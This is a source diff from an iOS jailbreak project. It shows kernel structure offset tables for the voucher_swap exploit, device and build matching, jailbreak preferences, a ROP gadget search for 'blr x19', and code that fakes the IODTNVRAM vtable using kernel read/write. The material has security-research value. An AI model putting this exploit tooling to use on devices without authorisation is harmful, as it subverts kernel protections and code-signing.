#define COUNT_PER_BLOCK(object_) _##object_##__per_block_
// Generate the name for the address of an object.
#define ADDRESS(object_) _##object_##__address_
// Generate the name for the static (unslid) address of an object.
#define STATIC_ADDRESS(object_) _##object_##__static_address_
// A convenience macro for accessing a field of a structure.
#define FIELD(object_, struct_, field_, type_) \
( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) )
// The static base address of the kernel.
extern uint64_t STATIC_ADDRESS(kernel_base);
// The kernel_slide granularity.
extern uint64_t kernel_slide_step;
// Messages up to this size are allocated from the dedicated ipc.kmsgs zone.
extern size_t message_size_for_kmsg_zone;
// The size of elements in ipc.kmsgs.
extern size_t kmsg_zone_size;
// The maximum number of OOL ports in a single message.
extern size_t max_ool_ports_per_message;
// How much to allocate between sleeps while trying to trigger garbage collection.
extern size_t gc_step;
// Parameters for ipc_entry.
extern size_t SIZE(ipc_entry);
extern size_t OFFSET(ipc_entry, ie_object);
extern size_t OFFSET(ipc_entry, ie_bits);
extern size_t OFFSET(ipc_entry, ie_request);
// Parameters for ipc_port.
extern size_t SIZE(ipc_port);
extern size_t BLOCK_SIZE(ipc_port);
extern size_t COUNT_PER_BLOCK(ipc_port);
extern size_t OFFSET(ipc_port, ip_bits);
extern size_t OFFSET(ipc_port, ip_references);
extern size_t OFFSET(ipc_port, waitq_flags);
extern size_t OFFSET(ipc_port, imq_messages);
extern size_t OFFSET(ipc_port, imq_msgcount);
extern size_t OFFSET(ipc_port, imq_qlimit);
extern size_t OFFSET(ipc_port, ip_receiver);
extern size_t OFFSET(ipc_port, ip_kobject);
extern size_t OFFSET(ipc_port, ip_nsrequest);
extern size_t OFFSET(ipc_port, ip_requests);
extern size_t OFFSET(ipc_port, ip_mscount);
extern size_t OFFSET(ipc_port, ip_srights);
// Parameters for ipc_port_request.
extern size_t SIZE(ipc_port_request);
extern size_t OFFSET(ipc_port_request, ipr_soright);
// Parameters for struct ipc_space.
extern size_t OFFSET(ipc_space, is_table_size);
extern size_t OFFSET(ipc_space, is_table);
// Parameters for ipc_voucher.
extern size_t SIZE(ipc_voucher);
extern size_t BLOCK_SIZE(ipc_voucher);
extern size_t COUNT_PER_BLOCK(ipc_voucher);
// Parameters for struct proc.
extern size_t OFFSET(proc, p_pid);
extern size_t OFFSET(proc, p_ucred);
// Parameters for struct sysctl_oid.
extern size_t SIZE(sysctl_oid);
extern size_t OFFSET(sysctl_oid, oid_parent);
extern size_t OFFSET(sysctl_oid, oid_link);
extern size_t OFFSET(sysctl_oid, oid_kind);
extern size_t OFFSET(sysctl_oid, oid_handler);
extern size_t OFFSET(sysctl_oid, oid_version);
extern size_t OFFSET(sysctl_oid, oid_refcnt);
// Parameters for struct task.
extern size_t OFFSET(task, lck_mtx_type);
extern size_t OFFSET(task, ref_count);
extern size_t OFFSET(task, active);
extern size_t OFFSET(task, map);
extern size_t OFFSET(task, itk_space);
extern size_t OFFSET(task, bsd_info);
/*
* parameters_init
*
* Description:
* Initialize the parameters for the system.
*/
bool parameters_init(void);
#undef extern
#endif
-54
View File
@@ -1,54 +0,0 @@
/*
* platform.c
* Brandon Azad
*/
#define PLATFORM_EXTERN
#include "platform.h"
#include <assert.h>
#include <mach/mach.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include "log.h"
// ---- Initialization ----------------------------------------------------------------------------
void
platform_init() {
// Only initialize once.
static bool initialized = false;
if (initialized) {
return;
}
initialized = true;
// Set the page size.
platform.page_size = vm_kernel_page_size;
page_size = platform.page_size;
// Get the machine name (e.g. iPhone11,8).
struct utsname u = {};
int error = uname(&u);
assert(error == 0);
strncpy((char *)platform.machine, u.machine, sizeof(platform.machine));
// Get the build (e.g. 16C50).
size_t osversion_size = sizeof(platform.osversion);
error = sysctlbyname("kern.osversion",
(void *)platform.osversion, &osversion_size, NULL, 0);
assert(error == 0);
// Get basic host info.
mach_port_t host = mach_host_self();
assert(MACH_PORT_VALID(host));
host_basic_info_data_t basic_info;
mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT;
kern_return_t kr = host_info(host, HOST_BASIC_INFO, (host_info_t) &basic_info, &count);
assert(kr == KERN_SUCCESS);
platform.cpu_type = basic_info.cpu_type;
platform.cpu_subtype = basic_info.cpu_subtype;
platform.physical_cpu = basic_info.physical_cpu;
platform.logical_cpu = basic_info.logical_cpu;
platform.memory_size = basic_info.max_mem;
INFO("memory_size: %zu", platform.memory_size);
mach_port_deallocate(mach_task_self(), host);
// Log basic platform info.
DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion);
}
-99
View File
@@ -1,99 +0,0 @@
/*
* platform.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__PLATFORM_H_
#define VOUCHER_SWAP__PLATFORM_H_
#include <stdbool.h>
#include <mach/machine.h>
#ifdef PLATFORM_EXTERN
#define extern PLATFORM_EXTERN
#endif
/*
* platform
*
* Description:
* Basic information about the platform.
*/
struct platform {
/*
* platform.machine
*
* Description:
* The name of the platform, e.g. iPhone11,8.
*/
const char machine[32];
/*
* platform.osversion
*
* Description:
* The version of the OS build, e.g. 16C50.
*/
const char osversion[32];
/*
* platform.cpu_type
*
* Description:
* The platform CPU type.
*/
cpu_type_t cpu_type;
/*
* platform.cpu_subtype
*
* Description:
* The platform CPU subtype.
*/
cpu_subtype_t cpu_subtype;
/*
* platform.physical_cpu
*
* Description:
* The number of physical CPU cores.
*/
unsigned physical_cpu;
/*
* platform.logical_cpu
*
* Description:
* The number of logical CPU cores.
*/
unsigned logical_cpu;
/*
* platform.page_size
*
* Description:
* The kernel page size.
*/
size_t page_size;
/*
* platform.memory_size
*
* Description:
* The size of physical memory on the device.
*/
size_t memory_size;
};
extern struct platform platform;
/*
* page_size
*
* Description:
* The kernel page size on this platform, made available globally for convenience.
*/
extern size_t page_size;
/*
* platform_init
*
* Description:
* Initialize the platform.
*/
void platform_init(void);
#undef extern
#endif
-346
View File
@@ -1,346 +0,0 @@
/*
* platform_match.c
* Brandon Azad
*/
#include "platform_match.h"
#include <assert.h>
#include <string.h>
#include "log.h"
#include "platform.h"
// ---- Matching helper functions -----------------------------------------------------------------
// Advance past any spaces in a string.
static void
skip_spaces(const char **p) {
const char *pch = *p;
while (*pch == ' ') {
pch++;
}
*p = pch;
}
// ---- Device matching ---------------------------------------------------------------------------
// A wildcard device version number.
#define ANY ((unsigned)(-1))
// Parse the version part of a device string.
static bool
parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor,
bool allow_wildcard, const char **end) {
const char *p = device_version;
// Parse the major version, which might be a wildcard.
unsigned maj = 0;
if (allow_wildcard && *p == '*') {
maj = ANY;
p++;
} else {
for (;;) {
char ch = *p;
if (ch < '0' || '9' < ch) {
break;
}
maj = maj * 10 + (ch - '0');
p++;
}
}
// Make sure we got the comma.
if (*p != ',') {
return false;
}
p++;
// Parse the minor version, which might be a wildcard.
unsigned min = 0;
if (allow_wildcard && *p == '*') {
min = ANY;
p++;
} else {
for (;;) {
char ch = *p;
if (ch < '0' || '9' < ch) {
break;
}
min = min * 10 + (ch - '0');
p++;
}
}
// If end is NULL, then require that we're at the end of the string. Else, return the end
// of what we parsed.
if (end == NULL) {
if (*p != 0) {
return false;
}
} else {
*end = p;
}
// Return the values.
*major = maj;
*minor = min;
return true;
}
// Parse a device name.
static bool
parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor,
bool allow_wildcard, const char **end) {
// "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY
// If this device name doesn't have a comma then we don't know how to parse it. Just set
// the whole thing as the device type.
const char *comma = strchr(device, ',');
if (comma == NULL) {
unknown:
strcpy(device_type, device);
*major = 0;
*minor = 0;
return false;
}
// Walk backwards from the comma to the start of the major version.
if (comma == device) {
goto unknown;
}
const char *p = comma;
for (;;) {
char ch = *(p - 1);
if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) {
break;
}
p--;
if (p == device) {
goto unknown;
}
}
if (p == comma) {
goto unknown;
}
size_t device_type_length = p - device;
// Parse the version numbers.
bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end);
if (!ok) {
goto unknown;
}
// Return the device_type string. This is last in case it's shared with the device string.
strncpy(device_type, device, device_type_length);
device_type[device_type_length] = 0;
return true;
}
// Parse a device name.
static bool
parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) {
return parse_device_internal(device, device_type, major, minor, false, NULL);
}
// Parse a device range string.
static bool
parse_device_range(const char *device, char *device_type,
unsigned *min_major, unsigned *min_minor,
unsigned *max_major, unsigned *max_minor,
const char **end) {
char dev_type[32];
const char *next = device;
// First parse a full device.
bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next);
if (!ok) {
unknown:
strcpy(device_type, device);
*min_major = 0;
*min_minor = 0;
*max_major = 0;
*max_minor = 0;
return false;
}
// Optionally parse a separator and more versions.
if (*next == 0) {
*max_major = *min_major;
*max_minor = *min_minor;
} else if (*next == '-') {
next++;
ok = parse_device_version_internal(next, max_major, max_minor, true, &next);
if (!ok) {
goto unknown;
}
}
*end = next;
// Return the device_type.
strcpy(device_type, dev_type);
return true;
}
// Check if the given device number is numerically within range.
static bool
numerical_device_match(unsigned major, unsigned minor,
unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) {
if (major < min_major && min_major != ANY) {
return false;
}
if ((major == min_major || min_major == ANY)
&& minor < min_minor && min_minor != ANY) {
return false;
}
if (major > max_major && max_major != ANY) {
return false;
}
if ((major == max_major || max_major == ANY)
&& minor > max_minor && max_minor != ANY) {
return false;
}
return true;
}
// Match a specific device against a device match list.
static bool
match_device(const char *device, const char *devices) {
if (devices == NULL || strcmp(devices, "*") == 0) {
return true;
}
// Parse this device.
char device_type[32];
unsigned major, minor;
parse_device(device, device_type, &major, &minor);
// Parse the match list.
const char *next = devices;
while (*next != 0) {
// Parse the next device range.
char match_device_type[32];
unsigned min_major, min_minor, max_major, max_minor;
parse_device_range(next, match_device_type, &min_major, &min_minor,
&max_major, &max_minor, &next);
if (*next != 0) {
skip_spaces(&next);
assert(*next == '|');
next++;
skip_spaces(&next);
assert(*next != 0);
}
// Check if this is a match.
if (strcmp(device_type, match_device_type) == 0
&& numerical_device_match(major, minor,
min_major, min_minor, max_major, max_minor)) {
return true;
}
}
return false;
}
// ---- Build matching ----------------------------------------------------------------------------
// Parse a build version string into a uint64_t. Maintains comparison order.
static uint64_t
parse_build_version(const char *build, const char **end) {
// 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte]
const char *p = build;
// Parse out the major number.
uint64_t major = 0;
for (;;) {
char ch = *p;
if (ch < '0' || '9' < ch) {
break;
}
major = major * 10 + (ch - '0');
p++;
}
// Parse out the minor.
uint64_t minor = 0;
for (;;) {
char ch = *p;
if (ch < 'A' || 'Z' < ch) {
break;
}
minor = (minor << 8) + ch;
p++;
}
// Parse out the patch.
uint64_t patch = 0;
for (;;) {
char ch = *p;
if (ch < '0' || '9' < ch) {
break;
}
patch = patch * 10 + (ch - '0');
p++;
}
// Parse out the alpha.
uint64_t alpha = 0;
for (;;) {
char ch = *p;
if (ch < 'a' || 'z' < ch) {
break;
}
alpha = (alpha << 8) + ch;
p++;
}
// Construct the full build version.
if (end != NULL) {
*end = p;
}
return ((major << (8 * 5))
| (minor << (8 * 4))
| (patch << (8 * 1))
| (alpha << (8 * 0)));
}
// Parse a build version range string.
static void
parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) {
const char *next = builds;
uint64_t min, max;
// Parse the lower range.
if (*next == '*') {
min = 0;
next++;
} else {
min = parse_build_version(next, &next);
}
// Parse the upper range (if it exists).
if (*next == 0) {
assert(min != 0);
max = min;
} else {
skip_spaces(&next);
assert(*next == '-');
next++;
skip_spaces(&next);
if (*next == '*') {
max = (uint64_t)(-1);
next++;
} else {
max = parse_build_version(next, &next);
}
assert(*next == 0);
}
*version_min = min;
*version_max = max;
}
// Check if the given build version string matches the build range.
static bool
match_build(const char *build, const char *builds) {
if (builds == NULL || strcmp(builds, "*") == 0) {
return true;
}
uint64_t version = parse_build_version(build, NULL);
uint64_t version_min, version_max;
parse_build_version_range(builds, &version_min, &version_max);
return (version_min <= version && version <= version_max);
}
// ---- Public API --------------------------------------------------------------------------------
bool
platform_matches_device(const char *device_range) {
return match_device(platform.machine, device_range);
}
bool
platform_matches_build(const char *build_range) {
return match_build(platform.osversion, build_range);
}
bool
platform_matches(const char *device_range, const char *build_range) {
return platform_matches_device(device_range)
&& platform_matches_build(build_range);
}
-62
View File
@@ -1,62 +0,0 @@
/*
* platform_match.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_
#define VOUCHER_SWAP__PLATFORM_MATCH_H_
#include <stdbool.h>
/*
* platform_matches_device
*
* Description:
* Check whether the current platform matches the specified device or range of devices.
*
* Match format:
* The match string may either specify a single device glob or a range of device globs. For
* example:
*
* "iPhone11,8" Matches only iPhone11,8
* "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4.
* "iPhone*,*" Matches all iPhone devices.
* "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive.
* "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices.
*
* As a special case, "*" matches all devices.
*/
bool platform_matches_device(const char *device_range);
/*
* platform_matches_build
*
* Description:
* Check whether the current platform matches the specified build version or range of build
* versions.
*
* Match format:
* The match string may either specify a single build version or a range of build versions.
* For example:
*
* "16C50" Matches only build 16C50.
* "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive.
*
* As a special case, either build version may be replaced with "*" to indicate a lack of
* lower or upper bound:
*
* "*-16B92" Matches all builds up to and including 16B92.
* "16C50-*" Matches build 16C50 and later.
* "*" Matches all build versions.
*/
bool platform_matches_build(const char *build_range);
/*
* platform_matches
*
* Description:
* A convenience function that combines platform_matches_device() and
* platform_matches_build().
*/
bool platform_matches(const char *device_range, const char *build_range);
#endif
-76
View File
@@ -1,76 +0,0 @@
//
// prefs.h
// Undecimus
//
// Created by Pwn20wnd on 5/3/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
//
#ifndef prefs_h
#define prefs_h
#include <stdio.h>
#include <stdbool.h>
#define K_TWEAK_INJECTION "TweakInjection"
#define K_LOAD_DAEMONS "LoadDaemons"
#define K_DUMP_APTICKET "DumpAPTicket"
#define K_REFRESH_ICON_CACHE "RefreshIconCache"
#define K_BOOT_NONCE "BootNonce"
#define K_EXPLOIT "Exploit"
#define K_DISABLE_AUTO_UPDATES "DisableAutoUpdates"
#define K_DISABLE_APP_REVOKES "DisableAppRevokes"
#define K_OVERWRITE_BOOT_NONCE "OverwriteBootNonce"
#define K_EXPORT_KERNEL_TASK_PORT "ExportKernelTaskPort"
#define K_RESTORE_ROOTFS "RestoreRootFS"
#define K_INCREASE_MEMORY_LIMIT "IncreaseMemoryLimit"
#define K_ECID "Ecid"
#define K_INSTALL_OPENSSH "InstallOpenSSH"
#define K_INSTALL_CYDIA "InstallCydia"
#define K_RELOAD_SYSTEM_DAEMONS "DoReloadSystemDaemons"
#define K_HIDE_LOG_WINDOW "HideLogWindow"
#define K_RESET_CYDIA_CACHE "ResetCydiaCache"
#define K_SSH_ONLY "SSHOnly"
#define K_DARK_MODE "DarkMode"
#define K_ENABLE_GET_TASK_ALLOW "DoEnableGetTaskAllow"
#define K_SET_CS_DEBUGGED "SetCSDebugged"
#define K_AUTO_RESPRING "AutoRespring"
#define K_CODE_SUBSTITUTOR "CodeSubstitutor"
typedef struct {
bool load_tweaks;
bool load_daemons;
bool dump_apticket;
bool run_uicache;
const char *boot_nonce;
bool disable_auto_updates;
bool disable_app_revokes;
bool overwrite_boot_nonce;
bool export_kernel_task_port;
bool restore_rootfs;
bool increase_memory_limit;
const char *ecid;
bool install_cydia;
bool install_openssh;
bool reload_system_daemons;
bool reset_cydia_cache;
bool ssh_only;
bool enable_get_task_allow;
bool set_cs_debugged;
bool hide_log_window;
bool auto_respring;
bool dark_mode;
int exploit;
int code_substitutor;
} prefs_t;
prefs_t *new_prefs(void);
prefs_t *copy_prefs(void);
void release_prefs(prefs_t **prefs);
bool load_prefs(prefs_t *prefs);
bool set_prefs(prefs_t *prefs);
void register_default_prefs(void);
void repair_prefs(void);
void reset_prefs(void);
#endif /* prefs_h */
-161
View File
@@ -1,161 +0,0 @@
//
// prefs.c
// Undecimus
//
// Created by Pwn20wnd on 5/3/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
//
#include "prefs.h"
#include <Foundation/Foundation.h>
#include <common.h>
#include "utils.h"
@interface NSUserDefaults ()
- (id)objectForKey:(id)arg1 inDomain:(id)arg2;
- (void)setObject:(id)arg1 forKey:(id)arg2 inDomain:(id)arg3;
@end
static NSUserDefaults *userDefaults = nil;
static NSString *prefsFile = nil;
prefs_t *new_prefs() {
prefs_t *prefs = (prefs_t *)malloc(sizeof(prefs_t));
assert(prefs != NULL);
bzero(prefs, sizeof(prefs_t));
return prefs;
}
prefs_t *copy_prefs() {
prefs_t *prefs = new_prefs();
load_prefs(prefs);
return prefs;
}
void release_prefs(prefs_t **prefs) {
SafeFreeNULL(*prefs);
}
bool load_prefs(prefs_t *prefs) {
if (prefs == NULL) {
return false;
}
prefs->load_tweaks = (bool)[[userDefaults objectForKey:@K_TWEAK_INJECTION inDomain:prefsFile] boolValue];
prefs->load_daemons = (bool)[[userDefaults objectForKey:@K_LOAD_DAEMONS inDomain:prefsFile] boolValue];
prefs->dump_apticket = (bool)[[userDefaults objectForKey:@K_DUMP_APTICKET inDomain:prefsFile] boolValue];
prefs->run_uicache = (bool)[[userDefaults objectForKey:@K_REFRESH_ICON_CACHE inDomain:prefsFile] boolValue];
prefs->boot_nonce = (const char *)[[userDefaults objectForKey:@K_BOOT_NONCE inDomain:prefsFile] UTF8String];
prefs->disable_auto_updates = (bool)[[userDefaults objectForKey:@K_DISABLE_AUTO_UPDATES inDomain:prefsFile] boolValue];
prefs->disable_app_revokes = (bool)[[userDefaults objectForKey:@K_DISABLE_APP_REVOKES inDomain:prefsFile] boolValue];
prefs->overwrite_boot_nonce = (bool)[[userDefaults objectForKey:@K_OVERWRITE_BOOT_NONCE inDomain:prefsFile] boolValue];
prefs->export_kernel_task_port = (bool)[[userDefaults objectForKey:@K_EXPORT_KERNEL_TASK_PORT inDomain:prefsFile] boolValue];
prefs->restore_rootfs = (bool)[[userDefaults objectForKey:@K_RESTORE_ROOTFS inDomain:prefsFile] boolValue];
prefs->increase_memory_limit = (bool)[[userDefaults objectForKey:@K_INCREASE_MEMORY_LIMIT inDomain:prefsFile] boolValue];
if ([[userDefaults objectForKey:@K_ECID inDomain:prefsFile] isKindOfClass:NSString.class]) {
prefs->ecid = (const char *)[[userDefaults objectForKey:@K_ECID inDomain:prefsFile] UTF8String];
}
prefs->install_cydia = (bool)[[userDefaults objectForKey:@K_INSTALL_CYDIA inDomain:prefsFile] boolValue];
prefs->install_openssh = (bool)[[userDefaults objectForKey:@K_INSTALL_OPENSSH inDomain:prefsFile] boolValue];
prefs->reload_system_daemons = (bool)[[userDefaults objectForKey:@K_RELOAD_SYSTEM_DAEMONS inDomain:prefsFile] boolValue];
prefs->reset_cydia_cache = (bool)[[userDefaults objectForKey:@K_RESET_CYDIA_CACHE inDomain:prefsFile] boolValue];
prefs->ssh_only = (bool)[[userDefaults objectForKey:@K_SSH_ONLY inDomain:prefsFile] boolValue];
prefs->enable_get_task_allow = (bool)[[userDefaults objectForKey:@K_ENABLE_GET_TASK_ALLOW inDomain:prefsFile]boolValue];
prefs->set_cs_debugged = (bool)[[userDefaults objectForKey:@K_SET_CS_DEBUGGED inDomain:prefsFile] boolValue];
prefs->exploit = (int)[[userDefaults objectForKey:@K_EXPLOIT inDomain:prefsFile] intValue];
prefs->hide_log_window = (bool)[[userDefaults objectForKey:@K_HIDE_LOG_WINDOW inDomain:prefsFile] boolValue];
prefs->auto_respring = (bool)[[userDefaults objectForKey:@K_AUTO_RESPRING inDomain:prefsFile] boolValue];
prefs->dark_mode = (bool)[[userDefaults objectForKey:@K_DARK_MODE inDomain:prefsFile] boolValue];
prefs->code_substitutor = (int)[[userDefaults objectForKey:@K_CODE_SUBSTITUTOR inDomain:prefsFile] intValue];
return true;
}
bool set_prefs(prefs_t *prefs) {
if (prefs == NULL) {
return false;
}
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->load_tweaks] forKey:@K_TWEAK_INJECTION inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->load_daemons] forKey:@K_LOAD_DAEMONS inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->dump_apticket] forKey:@K_DUMP_APTICKET inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->run_uicache] forKey:@K_REFRESH_ICON_CACHE inDomain:prefsFile];
if (prefs->boot_nonce) [userDefaults setObject:[NSString stringWithUTF8String:(const char *)prefs->boot_nonce] forKey:@K_BOOT_NONCE inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->disable_auto_updates] forKey:@K_DISABLE_AUTO_UPDATES inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->disable_app_revokes] forKey:@K_DISABLE_APP_REVOKES inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->overwrite_boot_nonce] forKey:@K_OVERWRITE_BOOT_NONCE inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->export_kernel_task_port] forKey:@K_EXPORT_KERNEL_TASK_PORT inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->restore_rootfs] forKey:@K_RESTORE_ROOTFS inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->increase_memory_limit] forKey:@K_INCREASE_MEMORY_LIMIT inDomain:prefsFile];
if (prefs->ecid) [userDefaults setObject:[NSString stringWithUTF8String:(const char *)prefs->ecid] forKey:@K_ECID inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->install_cydia] forKey:@K_INSTALL_CYDIA inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->install_openssh] forKey:@K_INSTALL_OPENSSH inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->reload_system_daemons] forKey:@K_RELOAD_SYSTEM_DAEMONS inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->reset_cydia_cache] forKey:@K_RESET_CYDIA_CACHE inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->ssh_only] forKey:@K_SSH_ONLY inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->enable_get_task_allow] forKey:@K_ENABLE_GET_TASK_ALLOW inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->set_cs_debugged] forKey:@K_SET_CS_DEBUGGED inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithInt:(int)prefs->exploit] forKey:@K_EXPLOIT inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->hide_log_window] forKey:@K_HIDE_LOG_WINDOW inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->auto_respring] forKey:@K_AUTO_RESPRING inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->dark_mode] forKey:@K_DARK_MODE inDomain:prefsFile];
[userDefaults setObject:[NSNumber numberWithInt:(int)prefs->code_substitutor] forKey:@K_CODE_SUBSTITUTOR inDomain:prefsFile];
[userDefaults synchronize];
return true;
}
void register_default_prefs() {
NSMutableDictionary *defaults = [NSMutableDictionary new];
defaults[@K_TWEAK_INJECTION] = @YES;
defaults[@K_LOAD_DAEMONS] = @YES;
defaults[@K_DUMP_APTICKET] = @YES;
defaults[@K_REFRESH_ICON_CACHE] = @NO;
defaults[@K_BOOT_NONCE] = @"0x1111111111111111";
defaults[@K_DISABLE_AUTO_UPDATES] = @YES;
defaults[@K_DISABLE_APP_REVOKES] = @YES;
defaults[@K_OVERWRITE_BOOT_NONCE] = @YES;
defaults[@K_EXPORT_KERNEL_TASK_PORT] = @NO;
defaults[@K_RESTORE_ROOTFS] = @NO;
defaults[@K_INCREASE_MEMORY_LIMIT] = @NO;
defaults[@K_ECID] = @"0x0";
defaults[@K_INSTALL_CYDIA] = @NO;
defaults[@K_INSTALL_OPENSSH] = @NO;
defaults[@K_RELOAD_SYSTEM_DAEMONS] = @YES;
defaults[@K_SSH_ONLY] = @NO;
defaults[@K_ENABLE_GET_TASK_ALLOW] = @YES;
defaults[@K_SET_CS_DEBUGGED] = @NO;
defaults[@K_HIDE_LOG_WINDOW] = @NO;
defaults[@K_AUTO_RESPRING] = @NO;
defaults[@K_DARK_MODE] = @YES;
defaults[@K_EXPLOIT] = [NSNumber numberWithInteger:recommendedJailbreakSupport()];
defaults[@K_CODE_SUBSTITUTOR] = [NSNumber numberWithInteger:recommendedSubstitutorSupport()];
[userDefaults registerDefaults:defaults];
}
void repair_prefs() {
prefs_t *prefs = copy_prefs();
if (prefs->exploit != -1) {
exploit_info_t *exploit_info = get_exploit_info(prefs->exploit);
if (exploit_info != NULL) {
if (!checkDeviceSupport(exploit_info->device_support_info)) {
prefs->exploit = (int)recommendedJailbreakSupport();
}
}
}
if (prefs->code_substitutor != -1) {
substitutor_info_t *substitutor_info = get_substitutor_info(prefs->code_substitutor);
if (substitutor_info != NULL) {
if (!checkDeviceSupport(substitutor_info->device_support_info)) {
prefs->code_substitutor = (int)recommendedSubstitutorSupport();
}
}
}
set_prefs(prefs);
release_prefs(&prefs);
}
void reset_prefs() {
[userDefaults removePersistentDomainForName:[[NSBundle mainBundle] bundleIdentifier]];
}
__attribute__((constructor))
static void ctor() {
userDefaults = [NSUserDefaults standardUserDefaults];
prefsFile = [NSString stringWithFormat:@"%@/Library/Preferences/%@.plist", NSHomeDirectory(), [[NSBundle mainBundle] bundleIdentifier]];
}
+3 -37
View File
@@ -10,40 +10,14 @@
#include <mach/mach_traps.h>
#include <mach/task.h>
extern uint64_t
find_blr_x19_gadget(void);
#include "remote_call.h"
#include "remote_memory.h"
#include <common.h>
#if !__arm64e__
static uint64_t find_gadget_candidate(char **alternatives, size_t gadget_length) {
void *const haystack_start = (void *)atoi; // will do...
size_t haystack_size = 100*1024*1024; // likewise...
for (char *candidate = *alternatives; candidate != NULL; alternatives++) {
void *found_at = memmem(haystack_start, haystack_size, candidate, gadget_length);
if (found_at != NULL){
LOG("found at: %llx", (uint64_t)found_at);
return (uint64_t)found_at;
}
}
return 0;
}
static uint64_t blr_x19_addr = 0;
static uint64_t find_blr_x19_gadget()
{
if (blr_x19_addr != 0){
return blr_x19_addr;
}
char *const blr_x19 = "\x60\x02\x3f\xd6";
char* candidates[] = {blr_x19, NULL};
blr_x19_addr = find_gadget_candidate(candidates, 4);
return blr_x19_addr;
}
#endif
// no support for non-register args
#define MAX_REMOTE_ARGS 8
@@ -54,9 +28,6 @@ _pthread_set_self(
uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...)
{
#if __arm64e__
return 0;
#else
if (n_params > MAX_REMOTE_ARGS || n_params < 0) {
LOG("unsupported number of arguments to remote function (%d)", n_params);
return 0;
@@ -250,15 +221,11 @@ uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...)
remote_free(task_port, remote_stack_base, remote_stack_size);
return ret_val;
#endif
}
// thread should be suspended already; will return suspended
uint64_t thread_call_remote(mach_port_t thread_port, void* fptr, int n_params, ...)
{
#if __arm64e__
return 0;
#else
if (n_params > MAX_REMOTE_ARGS || n_params < 0) {
LOG("unsupported number of arguments to remote function (%d)", n_params);
return 0;
@@ -396,5 +363,4 @@ uint64_t thread_call_remote(mach_port_t thread_port, void* fptr, int n_params, .
uint64_t ret_val = fcall_thread_state.__x[0];
return ret_val;
#endif
}
+38 -53
View File
@@ -5,26 +5,22 @@
// 2) Have tfp0 / kernel read|write|alloc
// 3) Can leak kernel address of mach port
// then we can fake vtable on IODTNVRAM object
// async_wake satisfies those requirements
// however, I wasn't able to actually set or get ANY nvram variable
// not even userread/userwrite
// Guess sandboxing won't let to access nvram
#include <stdlib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <iokit.h>
#include <common.h>
#include "KernelUtilities.h"
#include "KernelOffsets.h"
#include "KernelStructureOffsets.h"
#include "KernelMemory.h"
#include "find_port.h"
#include "pac.h"
#include "kernel_call.h"
#include "kc_parameters.h"
static const size_t max_vtable_size = 0x1000;
static const size_t kernel_buffer_size = 0x4000;
// it always returns false
static const uint64_t searchNVRAMProperty = 0x590;
// 0 corresponds to root only
static const uint64_t getOFVariablePerm = 0x558;
// from vtable start in bytes
unsigned VTB_IODTNVRAM__SEARCHNVRAMPROPERTY = 0x590;
unsigned VTB_IODTNVRAM__GETOFVARIABLEPERM = 0x558;
// convertPropToObject calls getOFVariableType
// open convertPropToObject, look for first vtable call -- that'd be getOFVariableType
@@ -41,7 +37,7 @@ uint64_t get_iodtnvram_obj(void) {
LOG("Failed to get IODTNVRAM service");
return 0;
}
uint64_t nvram_up = get_address_of_port(proc_struct_addr(), IODTNVRAMSrv);
uint64_t nvram_up = get_address_of_port(getpid(), IODTNVRAMSrv);
IODTNVRAMObj = ReadKernel64(nvram_up + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
LOG("IODTNVRAM obj at 0x%llx", IODTNVRAMObj);
